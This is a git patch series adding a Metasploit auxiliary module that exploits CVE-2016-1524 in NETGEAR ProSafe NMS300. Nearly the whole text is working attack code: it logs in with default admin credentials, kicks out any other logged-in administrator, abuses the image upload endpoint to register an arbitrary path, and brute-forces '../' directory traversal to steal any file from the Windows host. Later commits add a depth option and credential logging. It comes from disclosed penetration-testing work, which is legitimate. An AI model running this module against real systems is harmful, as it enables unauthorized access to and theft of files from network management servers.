From b64294abc9ab165e71913a0bf900d219891a111b Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 4 Feb 2016 07:57:48 +0800 Subject: [PATCH 1/3] Create file for CERT VU 777024 (auth download) --- .../admin/http/netgear_auth_download.rb | 187 ++++++++++++++++++ 1 file changed, 187 insertions(+) create mode 100644 modules/auxiliary/admin/http/netgear_auth_download.rb diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb new file mode 100644 index 0000000000..0e78a31723 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', + 'Description' => %q{ + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file download vulnerability that can be exploited by an + authenticated remote attacker to download any file in the system.. + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-1524'], + ['US-CERT-VU', '777024'], + ['URL', 'TODO_GITHUB_URL'], + ['URL', 'TODO_FULLDISC_URL'] + ], + 'DisclosureDate' => 'Feb 4 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('USERNAME', [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), + ], self.class) + end + + def authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + 'vars_get' => { 'method' => 'login' } + }) + + if res && res.code == 200 + cookie = res.get_cookies + if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/ + # another admin is logged in, let's kick him out + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_post' => { 'singleId' => $1 }, + 'vars_get' => { 'method' => 'loginAgain' } + }) + if res && res.code == 200 && (not res.body.to_s =~ /"success":true/) + return nil + end + end + return cookie + end + return nil + end + + + def download_file (download_path, cookie) + filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img" + begin + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'vars_get' => { + 'method' => 'add' + }, + 'vars_post' => { + 'realName' => download_path, + 'md5' => '', + 'fileName' => filename, + 'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)), + 'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)), + 'deviceType' => rand(999), + 'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)), + 'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"success":true/ + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'), + 'vars_get' => { + 'method' => 'getPageList', + 'type' => 'configImgManager', + }, + 'vars_post' => { + 'everyPage' => 500 + rand(999) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/ + image_id = $1 + return send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => { + 'method' => 'export', + 'imageId' => image_id + } + }) + end + end + return nil + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + + def save_file(filedata) + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'netgear.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + end + + + def run + cookie = authenticate + if cookie == nil + fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") + else + print_good("#{peer} - Logged with successfully.") + end + + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.") + return + end + + filepath = datastore['FILEPATH'] + res = download_file(filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + + print_error("#{peer} - File not found, using bruteforce to attempt to download the file") + count = 1 + while count < 15 + res = download_file(("../" * count).chomp('/') + filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + count += 1 + end + + print_error("#{peer} - Failed to download file.") + end +end From 5710c85a9ebf0f91dec8ea7922fa4dd577a650c2 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 23 Feb 2016 15:15:57 +0700 Subject: [PATCH 2/3] Style changes --- .../auxiliary/admin/http/netgear_auth_download.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb index 0e78a31723..84fa875840 100644 --- a/modules/auxiliary/admin/http/netgear_auth_download.rb +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class Metasploit4 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', 'Description' => %q{ - Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. - The application has a file download vulnerability that can be exploited by an - authenticated remote attacker to download any file in the system.. - This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file download vulnerability that can be exploited by an + authenticated remote attacker to download any file in the system.. + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. }, 'Author' => [ @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2016-1524'], ['US-CERT-VU', '777024'], - ['URL', 'TODO_GITHUB_URL'], - ['URL', 'TODO_FULLDISC_URL'] + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] ], 'DisclosureDate' => 'Feb 4 2016')) From bc050410a6abe5442b90eb8c4375b92d9fa684fa Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 10:52:30 -0600 Subject: [PATCH 3/3] Allow max traversal depth as an option, and report cred --- .../admin/http/netgear_auth_download.rb | 43 +++++++++++++++++-- 1 file changed, 40 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb index 84fa875840..c79e02e6c4 100644 --- a/modules/auxiliary/admin/http/netgear_auth_download.rb +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -41,6 +41,11 @@ class Metasploit4 < Msf::Auxiliary OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), ], self.class) + + register_advanced_options( + [ + OptInt.new('DEPTH', [false, 'Max depth to traverse', 15]) + ], self.class) end def authenticate @@ -146,16 +151,48 @@ class Metasploit4 < Msf::Auxiliary print_good("File saved in: #{path}") end + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'netgear', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run cookie = authenticate if cookie == nil fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") else - print_good("#{peer} - Logged with successfully.") + print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.") + report_cred( + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: cookie + ) end - if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + if datastore['FILEPATH'].blank? fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.") return end @@ -171,7 +208,7 @@ class Metasploit4 < Msf::Auxiliary print_error("#{peer} - File not found, using bruteforce to attempt to download the file") count = 1 - while count < 15 + while count < datastore['DEPTH'] res = download_file(("../" * count).chomp('/') + filepath, cookie) if res && res.code == 200 if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)